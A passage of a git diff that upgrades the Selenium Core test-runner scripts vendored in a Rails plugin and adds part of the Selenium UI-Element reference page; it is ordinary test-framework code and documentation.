+    * based 64 encoded PNG file. The <em>entire</em> windows canvas is captured,
+    * including parts rendered outside of the current view port.
+    *
+	* Currently this only works in Mozilla and when running in chrome mode. 
+    * 
+    * @param kwargs  A kwargs string that modifies the way the screenshot is captured. Example: "background=#CCFFDD". This may be useful to set for capturing screenshots of less-than-ideal layouts, for example where absolute positioning causes the calculation of the canvas dimension to fail and a black background is exposed  (possibly obscuring black text).
+    *
+    * @return string The base 64 encoded string of the page screenshot (PNG file)
+    */
+    // This doesn't really do anything on the JS side; we let the Selenium Server take care of this for us!
+};
+
+Selenium.prototype.doShutDownSeleniumServer = function(keycode) {
+    /**
+    * Kills the running Selenium Server and all browser sessions.  After you run this command, you will no longer be able to send
+    * commands to the server; you can't remotely start the server once it has been stopped.  Normally
+    * you should prefer to run the "stop" command, which terminates the current browser session, rather than 
+    * shutting down the entire server.
+    *
+    */
+    // This doesn't really do anything on the JS side; we let the Selenium Server take care of this for us!
+};
+
+Selenium.prototype.doRetrieveLastRemoteControlLogs = function() {
+    /**
+    * Retrieve the last messages logged on a specific remote control. Useful for error reports, especially
+    * when running multiple remote controls in a distributed environment. The maximum number of log messages
+    * that can be retrieve is configured on remote control startup.
+    *
+    * @return string The last N log messages as a multi-line string.
+    */
+    // This doesn't really do anything on the JS side; we let the Selenium Server take care of this for us!
+};
+
+Selenium.prototype.doKeyDownNative = function(keycode) {
+    /**
+    * Simulates a user pressing a key (without releasing it yet) by sending a native operating system keystroke.
+    * This function uses the java.awt.Robot class to send a keystroke; this more accurately simulates typing
+    * a key on the keyboard.  It does not honor settings from the shiftKeyDown, controlKeyDown, altKeyDown and
+    * metaKeyDown commands, and does not target any particular HTML element.  To send a keystroke to a particular
+    * element, focus on the element first before running this command.
+    *
+    * @param keycode an integer keycode number corresponding to a java.awt.event.KeyEvent; note that Java keycodes are NOT the same thing as JavaScript keycodes!
+    */
+    // This doesn't really do anything on the JS side; we let the Selenium Server take care of this for us!
+};
+
+Selenium.prototype.doKeyUpNative = function(keycode) {
+    /**
+    * Simulates a user releasing a key by sending a native operating system keystroke.
+    * This function uses the java.awt.Robot class to send a keystroke; this more accurately simulates typing
+    * a key on the keyboard.  It does not honor settings from the shiftKeyDown, controlKeyDown, altKeyDown and
+    * metaKeyDown commands, and does not target any particular HTML element.  To send a keystroke to a particular
+    * element, focus on the element first before running this command.
+    *
+    * @param keycode an integer keycode number corresponding to a java.awt.event.KeyEvent; note that Java keycodes are NOT the same thing as JavaScript keycodes!
+    */
+    // This doesn't really do anything on the JS side; we let the Selenium Server take care of this for us!
+};
+
+Selenium.prototype.doKeyPressNative = function(keycode) {
+    /**
+    * Simulates a user pressing and releasing a key by sending a native operating system keystroke.
+    * This function uses the java.awt.Robot class to send a keystroke; this more accurately simulates typing
+    * a key on the keyboard.  It does not honor settings from the shiftKeyDown, controlKeyDown, altKeyDown and
+    * metaKeyDown commands, and does not target any particular HTML element.  To send a keystroke to a particular
+    * element, focus on the element first before running this command.
+    *
+    * @param keycode an integer keycode number corresponding to a java.awt.event.KeyEvent; note that Java keycodes are NOT the same thing as JavaScript keycodes!
+    */
+    // This doesn't really do anything on the JS side; we let the Selenium Server take care of this for us!
+};
+
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/scripts/selenium-testrunner.js b/vendor/plugins/selenium-on-rails/selenium-core/scripts/selenium-testrunner.js
index 9f8e31ae..efb488f7 100644
--- a/vendor/plugins/selenium-on-rails/selenium-core/scripts/selenium-testrunner.js
+++ b/vendor/plugins/selenium-on-rails/selenium-core/scripts/selenium-testrunner.js
@@ -45,6 +45,10 @@ objectExtend(HtmlTestRunner.prototype, {
     },
 
     loadSuiteFrame: function() {
+        var logLevel = this.controlPanel.getDefaultLogLevel();
+        if (logLevel) {
+            LOG.setLogLevelThreshold(logLevel);
+        }
         if (selenium == null) {
             var appWindow = this._getApplicationWindow();
             try { appWindow.location; }
@@ -76,7 +80,7 @@ objectExtend(HtmlTestRunner.prototype, {
         if (this.controlPanel.isMultiWindowMode()) {
             return this._getSeparateApplicationWindow();
         }
-        return $('myiframe').contentWindow;
+        return sel$('selenium_myiframe').contentWindow;
     },
 
     _getSeparateApplicationWindow: function () {
@@ -87,6 +91,7 @@ objectExtend(HtmlTestRunner.prototype, {
     },
 
     _onloadTestSuite:function () {
+        suiteFrame = new HtmlTestSuiteFrame(getSuiteFrame());
         if (! this.getTestSuite().isAvailable()) {
             return;
         }
@@ -97,7 +102,12 @@ objectExtend(HtmlTestRunner.prototype, {
             addLoadListener(this._getApplicationWindow(), fnBind(this._startSingleTest, this));
             this._getApplicationWindow().src = this.controlPanel.getAutoUrl();
         } else {
-            this.getTestSuite().getSuiteRows()[0].loadTestCase();
+            var testCaseLoaded = fnBind(function(){this.testCaseLoaded=true;},this);
+            var testNumber = 0;
+            if (this.controlPanel.getTestNumber() != null){
+                var testNumber = this.controlPanel.getTestNumber() - 1; 
+            }
+            this.getTestSuite().getSuiteRows()[testNumber].loadTestCase(testCaseLoaded);
         }
     },
 
@@ -134,6 +144,8 @@ objectExtend(HtmlTestRunner.prototype, {
         //todo: move testFailed and storedVars to TestCase
         this.testFailed = false;
         storedVars = new Object();
+        storedVars.nbsp = String.fromCharCode(160);
+        storedVars.space = ' ';
         this.currentTest = new HtmlRunnerTestLoop(testFrame.getCurrentTestCase(), this.metrics, this.commandFactory);
         currentTest = this.currentTest;
         this.currentTest.start();
@@ -157,6 +169,10 @@ objectExtend(SeleniumFrame.prototype, {
         addLoadListener(this.frame, fnBind(this._handleLoad, this));
     },
 
+    getWindow : function() {
+        return this.frame.contentWindow;
+    },
+
     getDocument : function() {
         return this.frame.contentWindow.document;
     },
@@ -166,7 +182,6 @@ objectExtend(SeleniumFrame.prototype, {
         this._onLoad();
         if (this.loadCallback) {
             this.loadCallback();
-            this.loadCallback = null;
         }
     },
 
@@ -187,10 +202,12 @@ objectExtend(SeleniumFrame.prototype, {
             // this works in every browser (except Firefox in chrome mode)
             var styleSheetPath = window.location.pathname.replace(/[^\/\\]+$/, "selenium-test.css");
             if (browserVersion.isIE && window.location.protocol == "file:") {
-                styleSheetPath = "file://" + styleSheetPath;
+                styleSheetPath = "file:///" + styleSheetPath;
             }
             styleLink.href = styleSheetPath;
         }
+        // DGF You're only going to see this log message if you set defaultLogLevel=debug
+        LOG.debug("styleLink.href="+styleLink.href);
         head.appendChild(styleLink);
     },
 
@@ -205,7 +222,8 @@ objectExtend(SeleniumFrame.prototype, {
         var isChrome = browserVersion.isChrome || false;
         var isHTA = browserVersion.isHTA || false;
         // DGF TODO multiWindow
-        location += "?thisIsChrome=" + isChrome + "&thisIsHTA=" + isHTA;
+        location += (location.indexOf("?") == -1 ? "?" : "&");
+        location += "thisIsChrome=" + isChrome + "&thisIsHTA=" + isHTA; 
         if (browserVersion.isSafari) {
             // safari doesn't reload the page when the location equals to current location.
             // hence, set the location to blank so that the page will reload automatically.
@@ -246,7 +264,7 @@ objectExtend(HtmlTestFrame.prototype, SeleniumFrame.prototype);
 objectExtend(HtmlTestFrame.prototype, {
 
     _onLoad: function() {
-        this.currentTestCase = new HtmlTestCase(this.getDocument(), htmlTestRunner.getTestSuite().getCurrentRow());
+        this.currentTestCase = new HtmlTestCase(this.getWindow(), htmlTestRunner.getTestSuite().getCurrentRow());
     },
 
     getCurrentTestCase: function() {
@@ -265,19 +283,19 @@ var suiteFrame;
 var testFrame;
 
 function getSuiteFrame() {
-    var f = $('testSuiteFrame');
+    var f = sel$('testSuiteFrame');
     if (f == null) {
         f = top;
-        // proxyInjection mode does not set myiframe
+        // proxyInjection mode does not set selenium_myiframe
     }
     return f;
 }
 
 function getTestFrame() {
-    var f = $('testFrame');
+    var f = sel$('testFrame');
     if (f == null) {
         f = top;
-        // proxyInjection mode does not set myiframe
+        // proxyInjection mode does not set selenium_myiframe
     }
     return f;
 }
@@ -290,9 +308,9 @@ objectExtend(HtmlTestRunnerControlPanel.prototype, {
 
         this.runInterval = 0;
 
-        this.highlightOption = $('highlightOption');
-        this.pauseButton = $('pauseTest');
-        this.stepButton = $('stepTest');
+        this.highlightOption = sel$('highlightOption');
+        this.pauseButton = sel$('pauseTest');
+        this.stepButton = sel$('stepTest');
 
         this.highlightOption.onclick = fnBindAsEventListener((function() {
             this.setHighlightOption();
@@ -342,7 +360,7 @@ objectExtend(HtmlTestRunnerControlPanel.prototype, {
     },
 
     reset: function() {
-        // this.runInterval = this.speedController.value;
+        this.runInterval = this.speedController.value;
         this._switchContinueButtonToPause();
     },
 
@@ -352,7 +370,7 @@ objectExtend(HtmlTestRunnerControlPanel.prototype, {
     },
 
     _switchPauseButtonToContinue: function() {
-        $('stepTest').disabled = false;
+        sel$('stepTest').disabled = false;
         this.pauseButton.className = "cssContinueTest";
         this.pauseButton.onclick = fnBindAsEventListener(this.continueCurrentTest, this);
     },
@@ -378,6 +396,10 @@ objectExtend(HtmlTestRunnerControlPanel.prototype, {
         return this._getQueryParameter("test");
     },
 
+    getTestNumber: function() {
+        return this._getQueryParameter("testNumber");
+    },
+
     getSingleTestName: function() {
         return this._getQueryParameter("singletest");
     },
@@ -385,6 +407,10 @@ objectExtend(HtmlTestRunnerControlPanel.prototype, {
     getAutoUrl: function() {
         return this._getQueryParameter("autoURL");
     },
+    
+    getDefaultLogLevel: function() {
+        return this._getQueryParameter("defaultLogLevel");
+    },
 
     getResultsUrl: function() {
         return this._getQueryParameter("resultsUrl");
@@ -574,7 +600,9 @@ objectExtend(HtmlTestSuite.prototype, {
     initialize: function(suiteDocument) {
         this.suiteDocument = suiteDocument;
         this.suiteRows = this._collectSuiteRows();
-        this.titleRow = new TitleRow(this.getTestTable().rows[0]);
+        var testTable = this.getTestTable();
+        if (!testTable) return;
+        this.titleRow = new TitleRow(testTable.rows[0]);
         this.reset();
     },
 
@@ -593,7 +621,7 @@ objectExtend(HtmlTestSuite.prototype, {
     },
 
     getTestTable: function() {
-        var tables = $A(this.suiteDocument.getElementsByTagName("table"));
+        var tables = sel$A(this.suiteDocument.getElementsByTagName("table"));
         return tables[0];
     },
 
@@ -603,15 +631,16 @@ objectExtend(HtmlTestSuite.prototype, {
 
     _collectSuiteRows: function () {
         var result = [];
-        var tables = $A(this.suiteDocument.getElementsByTagName("table"));
+        var tables = sel$A(this.suiteDocument.getElementsByTagName("table"));
         var testTable = tables[0];
+        if (!testTable) return;
         for (rowNum = 1; rowNum < testTable.rows.length; rowNum++) {
             var rowElement = testTable.rows[rowNum];
             result.push(new HtmlTestSuiteRow(rowElement, testFrame, this));
         }
         
         // process the unsuited rows as well
-        for (var tableNum = 1; tableNum < $A(this.suiteDocument.getElementsByTagName("table")).length; tableNum++) {
+        for (var tableNum = 1; tableNum < sel$A(this.suiteDocument.getElementsByTagName("table")).length; tableNum++) {
             testTable = tables[tableNum];
             for (rowNum = 1; rowNum < testTable.rows.length; rowNum++) {
                 var rowElement = testTable.rows[rowNum];
@@ -652,7 +681,7 @@ objectExtend(HtmlTestSuite.prototype, {
 
     _onTestSuiteComplete: function() {
         this.markDone();
-        new TestResult(this.failed, this.getTestTable()).post();
+        new SeleniumTestResult(this.failed, this.getTestTable()).post();
     },
 
     updateSuiteWithResultOfPreviousTest: function() {
@@ -676,8 +705,8 @@ objectExtend(HtmlTestSuite.prototype, {
 
 });
 
-var TestResult = classCreate();
-objectExtend(TestResult.prototype, {
+var SeleniumTestResult = classCreate();
+objectExtend(SeleniumTestResult.prototype, {
 
 // Post the results to a servlet, CGI-script, etc.  The URL of the
 // results-handler defaults to "/postResults", but an alternative location
@@ -713,7 +742,7 @@ objectExtend(TestResult.prototype, {
 
         form.id = "resultsForm";
         form.method = "post";
-        form.target = "myiframe";
+        form.target = "selenium_myiframe";
 
         var resultsUrl = this.controlPanel.getResultsUrl();
         if (!resultsUrl) {
@@ -766,11 +795,22 @@ objectExtend(TestResult.prototype, {
             }
         }
 
-        form.createHiddenField("numTestTotal", rowNum);
+        form.createHiddenField("numTestTotal", rowNum-1);
 
         // Add HTML for the suite itself
         form.createHiddenField("suite", this.suiteTable.parentNode.innerHTML);
 
+        var logMessages = [];
+        while (LOG.pendingMessages.length > 0) {
+            var msg = LOG.pendingMessages.shift();
+            logMessages.push(msg.type);
+            logMessages.push(": ");
+            logMessages.push(msg.msg);
+            logMessages.push('\n');
+        }
+        var logOutput = logMessages.join("");
+        form.createHiddenField("log", logOutput);
+
         if (this.controlPanel.shouldSaveResultsToFile()) {
             this._saveToFile(resultsUrl, form);
         } else {
@@ -788,22 +828,50 @@ objectExtend(TestResult.prototype, {
         for (var i = 0; i < form.elements.length; i++) {
             inputs[form.elements[i].name] = form.elements[i].value;
         }
+        
         var objFSO = new ActiveXObject("Scripting.FileSystemObject")
+        
+        // DGF get CSS
+        var styles = "";
+        try {
+            var styleSheetPath = window.location.pathname.replace(/[^\/\\]+$/, "selenium-test.css");
+            if (window.location.protocol == "file:") {
+                var stylesFile = objFSO.OpenTextFile(styleSheetPath, 1);
+                styles = stylesFile.ReadAll();
+            } else {
+                var xhr = XmlHttp.create();
+                xhr.open("GET", styleSheetPath, false);
+                xhr.send("");
+                styles = xhr.responseText;
+            }
+        } catch (e) {}
+        
         var scriptFile = objFSO.CreateTextFile(fileName);
-        scriptFile.WriteLine("<html><body>\n<h1>Test suite results </h1>" +
-                             "\n\n<table>\n<tr>\n<td>result:</td>\n<td>" + inputs["result"] + "</td>\n" +
-                             "</tr>\n<tr>\n<td>totalTime:</td>\n<td>" + inputs["totalTime"] + "</td>\n</tr>\n" +
-                             "<tr>\n<td>numTestPasses:</td>\n<td>" + inputs["numTestPasses"] + "</td>\n</tr>\n" +
-                             "<tr>\n<td>numTestFailures:</td>\n<td>" + inputs["numTestFailures"] + "</td>\n</tr>\n" +
-                             "<tr>\n<td>numCommandPasses:</td>\n<td>" + inputs["numCommandPasses"] + "</td>\n</tr>\n" +
-                             "<tr>\n<td>numCommandFailures:</td>\n<td>" + inputs["numCommandFailures"] + "</td>\n</tr>\n" +
-                             "<tr>\n<td>numCommandErrors:</td>\n<td>" + inputs["numCommandErrors"] + "</td>\n</tr>\n" +
-                             "<tr>\n<td>" + inputs["suite"] + "</td>\n<td>&nbsp;</td>\n</tr>");
+        
+        
+        scriptFile.WriteLine("<html><head><title>Test suite results</title><style>");
+        scriptFile.WriteLine(styles);
+        scriptFile.WriteLine("</style>");
+        scriptFile.WriteLine("<body>\n<h1>Test suite results</h1>" +
+             "\n\n<table>\n<tr>\n<td>result:</td>\n<td>" + inputs["result"] + "</td>\n" +
+             "</tr>\n<tr>\n<td>totalTime:</td>\n<td>" + inputs["totalTime"] + "</td>\n</tr>\n" +
+             "<tr>\n<td>numTestTotal:</td>\n<td>" + inputs["numTestTotal"] + "</td>\n</tr>\n" +
+             "<tr>\n<td>numTestPasses:</td>\n<td>" + inputs["numTestPasses"] + "</td>\n</tr>\n" +
+             "<tr>\n<td>numTestFailures:</td>\n<td>" + inputs["numTestFailures"] + "</td>\n</tr>\n" +
+             "<tr>\n<td>numCommandPasses:</td>\n<td>" + inputs["numCommandPasses"] + "</td>\n</tr>\n" +
+             "<tr>\n<td>numCommandFailures:</td>\n<td>" + inputs["numCommandFailures"] + "</td>\n</tr>\n" +
+             "<tr>\n<td>numCommandErrors:</td>\n<td>" + inputs["numCommandErrors"] + "</td>\n</tr>\n" +
+             "<tr>\n<td>" + inputs["suite"] + "</td>\n<td>&nbsp;</td>\n</tr></table><table>");
         var testNum = inputs["numTestTotal"];
-        for (var rowNum = 1; rowNum < testNum; rowNum++) {
+        
+        for (var rowNum = 1; rowNum <= testNum; rowNum++) {
             scriptFile.WriteLine("<tr>\n<td>" + inputs["testTable." + rowNum] + "</td>\n<td>&nbsp;</td>\n</tr>");
         }
-        scriptFile.WriteLine("</table></body></html>");
+        scriptFile.WriteLine("</table><pre>");
+        var log = inputs["log"];
+        log=log.replace(/&/gm,"&amp;").replace(/</gm,"&lt;").replace(/>/gm,"&gt;").replace(/"/gm,"&quot;").replace(/'/gm,"&apos;");
+        scriptFile.WriteLine(log);
+        scriptFile.WriteLine("</pre></body></html>");
         scriptFile.Close();
     }
 });
@@ -812,14 +880,22 @@ objectExtend(TestResult.prototype, {
 var HtmlTestCase = classCreate();
 objectExtend(HtmlTestCase.prototype, {
 
-    initialize: function(testDocument, htmlTestSuiteRow) {
-        if (testDocument == null) {
-            throw "testDocument should not be null";
+    initialize: function(testWindow, htmlTestSuiteRow) {
+        if (testWindow == null) {
+            throw "testWindow should not be null";
         }
         if (htmlTestSuiteRow == null) {
             throw "htmlTestSuiteRow should not be null";
         }
-        this.testDocument = testDocument;
+        this.testWindow = testWindow;
+        this.testDocument = testWindow.document;
+        this.pathname = "'unknown'";
+        try {
+            if (this.testWindow.location) {
+                this.pathname = this.testWindow.location.pathname;
+            }
+        } catch (e) {}
+            
         this.htmlTestSuiteRow = htmlTestSuiteRow;
         this.headerRow = new TitleRow(this.testDocument.getElementsByTagName("tr")[0]);
         this.commandRows = this._collectCommandRows();
@@ -829,11 +905,11 @@ objectExtend(HtmlTestCase.prototype, {
 
     _collectCommandRows: function () {
         var commandRows = [];
-        var tables = $A(this.testDocument.getElementsByTagName("table"));
+        var tables = sel$A(this.testDocument.getElementsByTagName("table"));
         var self = this;
         for (var i = 0; i < tables.length; i++) {
             var table = tables[i];
-            var tableRows = $A(table.rows);
+            var tableRows = sel$A(table.rows);
             for (var j = 0; j < tableRows.length; j++) {
                 var candidateRow = tableRows[j];
                 if (self.isCommandRow(candidateRow)) {
@@ -959,11 +1035,11 @@ objectExtend(Metrics.prototype, {
     },
 
     printMetrics: function() {
-        setText($('commandPasses'), this.numCommandPasses);
-        setText($('commandFailures'), this.numCommandFailures);
-        setText($('commandErrors'), this.numCommandErrors);
-        setText($('testRuns'), this.numTestPasses + this.numTestFailures);
-        setText($('testFailures'), this.numTestFailures);
+        setText(sel$('commandPasses'), this.numCommandPasses);
+        setText(sel$('commandFailures'), this.numCommandFailures);
+        setText(sel$('commandErrors'), this.numCommandErrors);
+        setText(sel$('testRuns'), this.numTestPasses + this.numTestFailures);
+        setText(sel$('testFailures'), this.numTestFailures);
 
         this.currentTime = new Date().getTime();
 
@@ -973,7 +1049,7 @@ objectExtend(Metrics.prototype, {
         var minutes = Math.floor(totalSecs / 60);
         var seconds = totalSecs % 60;
 
-        setText($('elapsedTime'), this._pad(minutes) + ":" + this._pad(seconds));
+        setText(sel$('elapsedTime'), this._pad(minutes) + ":" + this._pad(seconds));
     },
 
 // Puts a leading 0 on num if it is less than 10
@@ -1020,9 +1096,7 @@ objectExtend(HtmlRunnerTestLoop.prototype, {
         this.metrics = metrics;
 
         this.htmlTestCase = htmlTestCase;
-
-        se = selenium;
-        global.se = selenium;
+        LOG.info("Starting test " + htmlTestCase.pathname);
 
         this.currentRow = null;
         this.currentRowIndex = 0;
@@ -1034,17 +1108,6 @@ objectExtend(HtmlRunnerTestLoop.prototype, {
         this.expectedFailureType = null;
 
         this.htmlTestCase.reset();
-
-        this.sejsElement = this.htmlTestCase.testDocument.getElementById('sejs');
-        if (this.sejsElement) {
-            var fname = 'Selenium JavaScript';
-            parse_result = parse(this.sejsElement.innerHTML, fname, 0);
-
-            var x2 = new ExecutionContext(GLOBAL_CODE);
-            ExecutionContext.current = x2;
-
-            execute(parse_result, x2)
-        }
     },
 
     _advanceToNextRow: function() {
@@ -1069,7 +1132,7 @@ objectExtend(HtmlRunnerTestLoop.prototype, {
     },
 
     commandStarted : function() {
-        $('pauseTest').disabled = false;
+        sel$('pauseTest').disabled = false;
         this.currentRow.select();
         this.metrics.printMetrics();
     },
@@ -1141,8 +1204,8 @@ objectExtend(HtmlRunnerTestLoop.prototype, {
     },
 
     testComplete : function() {
-        $('pauseTest').disabled = true;
-        $('stepTest').disabled = true;
+        sel$('pauseTest').disabled = true;
+        sel$('stepTest').disabled = true;
         if (htmlTestRunner.testFailed) {
             this.htmlTestCase.markFailed();
             this.metrics.numTestFailures += 1;
@@ -1231,6 +1294,24 @@ Selenium.prototype.doEcho = function(message) {
     currentTest.currentRow.setMessage(message);
 }
 
+/*
+ * doSetSpeed and getSpeed are already defined in selenium-api.js,
+ * so we're defining these functions in a tricky way so that doc.js doesn't
+ * try to read API doc from the function definitions here.
+ */
+Selenium.prototype._doSetSpeed = function(value) {
+    var milliseconds = parseInt(value);
+    if (milliseconds < 0) milliseconds = 0;
+    htmlTestRunner.controlPanel.speedController.setValue(milliseconds);
+    htmlTestRunner.controlPanel.setRunInterval(milliseconds);
+}
+Selenium.prototype.doSetSpeed = Selenium.prototype._doSetSpeed;
+
+Selenium.prototype._getSpeed = function() {
+    return htmlTestRunner.controlPanel.runInterval;
+}
+Selenium.prototype.getSpeed = Selenium.prototype._getSpeed;
+
 Selenium.prototype.assertSelected = function(selectLocator, optionLocator) {
     /**
      * Verifies that the selected option of a drop-down satisfies the optionSpecifier.  <i>Note that this command is deprecated; you should use assertSelectedLabel, assertSelectedValue, assertSelectedIndex, or assertSelectedId instead.</i>
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/scripts/selenium-version.js b/vendor/plugins/selenium-on-rails/selenium-core/scripts/selenium-version.js
index 4156723d..5334c07b 100644
--- a/vendor/plugins/selenium-on-rails/selenium-core/scripts/selenium-version.js
+++ b/vendor/plugins/selenium-on-rails/selenium-core/scripts/selenium-version.js
@@ -1,5 +1,5 @@
-Selenium.version = "0.8.2";
-Selenium.revision = "1727";
+Selenium.version = "1.0-beta-2";
+Selenium.revision = "2330";
 
 window.top.document.title += " v" + Selenium.version + " [" + Selenium.revision + "]";
 
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/scripts/ui-doc.html b/vendor/plugins/selenium-on-rails/selenium-core/scripts/ui-doc.html
new file mode 100644
index 00000000..fe7d20d4
--- /dev/null
+++ b/vendor/plugins/selenium-on-rails/selenium-core/scripts/ui-doc.html
@@ -0,0 +1,803 @@
+<html>
+<head>
+<title>Selenium UI-Element Reference</title>
+<style type="text/css">
+body {
+    margin-left: 5%;
+    margin-right: 5%;
+}
+dt {
+    font-weight: bolder;
+}
+dd {
+    margin-top: 10px;
+    margin-bottom: 10px;
+}
+pre {
+    margin: 10px;
+    padding: 10px;
+    background-color: #eaeaea;
+}
+code {
+    padding: 2px;
+    background-color: #dfd;
+}
+table {
+    border-collapse: collapse;
+    border: solid 1px black;
+}
+th, td {
+    border: solid 1px grey;
+    padding: 5px;
+}
+.highlight {
+    background-color: #eea;
+}
+.deprecated {
+    font-style: italic;
+    color: #c99;
+}
+</style>
+</head>
+
+<body>
+
+<h1>Selenium UI-Element Reference</h1>
+
+<h2>Introduction</h2>
+
+<p>UI-Element is a Selenium feature that makes it possible to define a mapping between semantically meaningful names of elements on webpages, and the elements themselves. The mapping is defined using <a href="http://en.wikipedia.org/wiki/JSON">JavaScript Object Notation</a>, and may be shared both by the IDE and tests run via Selenium RC. It also offers a single point of update should the user interface of the application under test change.</p>
+
+<h2>Terminology</h2>
+
+<dl>
+<dt>Page</dt>
+<dd>A unique URL, and the contents available by accessing that URL. A page typically consists of several interactive page elements. A page may also be considered a DOM document object, complete with URL information.</dd>
+<dt>Page element</dt>
+<dd>An element on the actual webpage. Generally speaking, an element is anything the user might interact with, or anything that contains meaningful content. More specifically, an element is realized as a <a href="http://en.wikipedia.org/wiki/Document_Object_Model">Document Object Model (DOM)</a> node and its contents. So when we refer to a page element, we mean both of the following, at the same time:
+<ul>
+<li>something on the page</li>
+<li>its DOM representation, including its relationship with other page elements</li>
+</ul>
+</dd>
+<dt>Pageset</dt>
+<dd>A set of pages that share some set of common page elements. For example, I might be able to log into my application from several different pages. If certain page elements on each of those pages appear similarly (i.e. their DOM representations are identical), those pages can be grouped into a pageset with respect to these page elements. There is no restriction on how many pagesets a given page can be a member of. Similarly, a UI element belong to multiple pagesets. A pageset is commonly represented by a <a href="http://en.wikipedia.org/wiki/Regular_expression">regular expression</a> which matches the URL's that uniquely identify pages; however, there are cases when the page content must be considered to determine pageset membership. A pageset also has a name.</dd>
+<dt>UI element</dt>
+<dd>A mapping between a meaningful name for a page element, and the means to locate that page element's DOM node. The page element is located via a locator. UI elements belong to pagesets.</dd>
+<dt>UI argument</dt>
+<dd>An optional piece of logic that determines how the locator is generated by a UI element. Typically used when similar page elements appear multiple times on the same page, and you want to address them all with a single UI element. For example, if a page presents 20 clickable search results, the index of the search result might be a UI argument.</dd>
+<dt>UI map</dt>
+<dd>A collection of pagesets, which in turn contain UI elements. The UI map is the medium for translating between UI specifier strings, page elements, and UI elements.</dd>
+<dt>UI specifier string</dt>
+<dd>A bit of text containing a pageset name, a UI element name, and optionally arguments that modify the way a locator is constructed by the UI element. UI specifier strings are intended to be the human-readable identifier for page elements.</dd>
+<dt>Rollup rule</dt>
+<dd>Logic that describes how one or more Selenium commands can be grouped into a single command, and how that single command may be expanded into its component Selenium commands. The single command is referred to simply as a "rollup".</dd>
+<dt>Command matcher</dt>
+<dd>Typically folded into a rollup rule, it matches one or more Selenium commands and optionally sets values for rollup arguments based on the matched commands. A rollup rule usually has one or more command matchers.</dd>
+<dt>Rollup argument</dt>
+<dd>An optional piece of logic that modifies the command expansion of a rollup.</dd>
+</dl>
+
+<h2>The Basics</h2>
+
+<h3>Getting Motivated</h3>
+
+<p>Question: Why use UI-Element? Answer: So your testcases can look like this (boilerplate code omitted):</p>
+
+<pre>
+&lt;tr&gt;
+    &lt;td&gt;open&lt;/td&gt;
+    &lt;td&gt;/&lt;/td&gt;
+    &lt;td&gt;&lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+    &lt;td&gt;clickAndWait&lt;/td&gt;
+    &lt;td&gt;<span class="highlight">ui=allPages::section(section=topics)</span>&lt;/td&gt;
+    &lt;td&gt;&lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+    &lt;td&gt;clickAndWait&lt;/td&gt;
+    &lt;td&gt;<span class="highlight">ui=topicListingPages::topic(topic=Process)</span>&lt;/td&gt;
+    &lt;td&gt;&lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+    &lt;td&gt;clickAndWait&lt;/td&gt;
+    &lt;td&gt;<span class="highlight">ui=subtopicListingPages::subtopic(subtopic=Creativity)</span>&lt;/td&gt;
+    &lt;td&gt;&lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+    &lt;td&gt;click&lt;/td&gt;
+    &lt;td&gt;<span class="highlight">ui=subtopicArticleListingPages::article(index=2)</span>&lt;/td&gt;
+    &lt;td&gt;&lt;/td&gt;
+&lt;/tr&gt;
+</pre>
+
+<h3>Including the Right Files</h3>
+
+<p>UI-Element is now fully integrated with Selenium. The only additional file that needs to be specified is your map definitions file. In the IDE, add it to the comma-delimited <em>Selenium Core extensions</em> field of the IDE options. A sample definition file created for the website <a href="http://alistapart.com">alistapart.com</a> is included in the distribution and is available here:</p>
+
+<pre><a href="chrome://selenium-ide/content/selenium/scripts/ui-map-sample.js">chrome://selenium-ide/content/selenium/scripts/ui-map-sample.js</a></pre>
+
+<p>You might want to experiment with the sample map to get a feel for UI-Element. For the Selenium RC, you have two options. The map file may be included in the <code>user-extensions.js</code> file specified at startup with the <code>-userExtensions</code> switch. Or, you may load it dynamically with the variant of the <code>setUserExtensionJs</code> command in your driver language, before the browser is started.</p>
+
+<h3>Map Definitions File Syntax</h3>
+
+<p>This is the general format of a map file:</p>
+
+<pre>
+var map = new UIMap();
+
+map.addPageset({
+    name: 'aPageset'
+    , ... 
+});
+map.addElement('aPageset', { ... });
+map.addElement('aPageset', { ... });
+...
+
+map.addPageset({
+    name: 'anotherPageset'
+    , ... 
+});
+...
+</pre>
+
+<p>The map object is initialized by creating a new <code>UIMap</code> object. Next, a pageset is defined. Then one or more UI elements are defined for that pageset. More pagesets are defined, each with corresponding UI elements. That's it!</p>
+
+<h3>Pageset Shorthand</h3>
+
+<p>The method signature of <code>addPageset()</code> is <em>(pagesetShorthand)</em>. <em>pagesetShorthand</em> is a JSON description of the pageset. Here's a minimal example:</p>
+
+<pre>
+map.addPageset({
+    name: 'allPages'
+    , description: 'contains elements common to all pages'
+    , pathRegexp: '.*'
+});
+</pre>
+    
+<p>Here's a table containing information about the attributes of the Pageset object. The conditionally required or unrequired items are for IDE recording support only.</p>
+
+<table>
+<tr><th>Name</th>
+    <th>Required?</th>
+    <th>Description</th>
+    <th>Example</th>
+</tr>
+<tr><td>name</td>
+    <td>Yes</td>
+    <td>(String) the name of the pageset. This should be unique within the map.</td>
+    <td><pre>name: 'shopPages'</pre></td>
+</tr>
+<tr><td>description</td>
+    <td>Yes</td>
+    <td>(String) a description of the pageset. Ideally, this will give the reader an idea of what types of UI elements the pageset will have.</td>
+    <td><pre>description: 'all pages displaying product'</pre></td>
+</tr>
+<tr><td>pathPrefix</td>
+    <td>No</td>
+    <td>(String) the path of the URL of all included pages in this pageset will contain this prefix. For example, if all pages are of the form http://www.example.com/<span class="highlight">gallery/</span>light-show/, the page prefix might be <code>gallery/</code> .</td>
+    <td><pre>pathPrefix: 'gallery/'</pre></td>
+</tr>
+<tr><td>paths<br />pathRegexp</td>
+    <td>Conditional</td>
+    <td>(Array | String) either a list of path strings, or a string that represents a regular expression. One or the other should be defined, but not both. If an array, it enumerates pages that are included in the pageset. If a regular expression, any pages whose URL paths match the expression are considered part of the pageset. In either case, the part of the URL being matched (called the <em>path</em>) is the part following the domain, less any training slash, and not including the CGI parameters. For example:
+    <ul>
+    <li>http://www.example.com/<span class="highlight">articles/index.php</span></li>
+    <li>http://www.example.com/<span class="highlight">articles/2579</span>?lang=en_US</li>
+    <li>http://www.example.com/<span class="highlight">articles/selenium</span>/</li>
+    </ul>
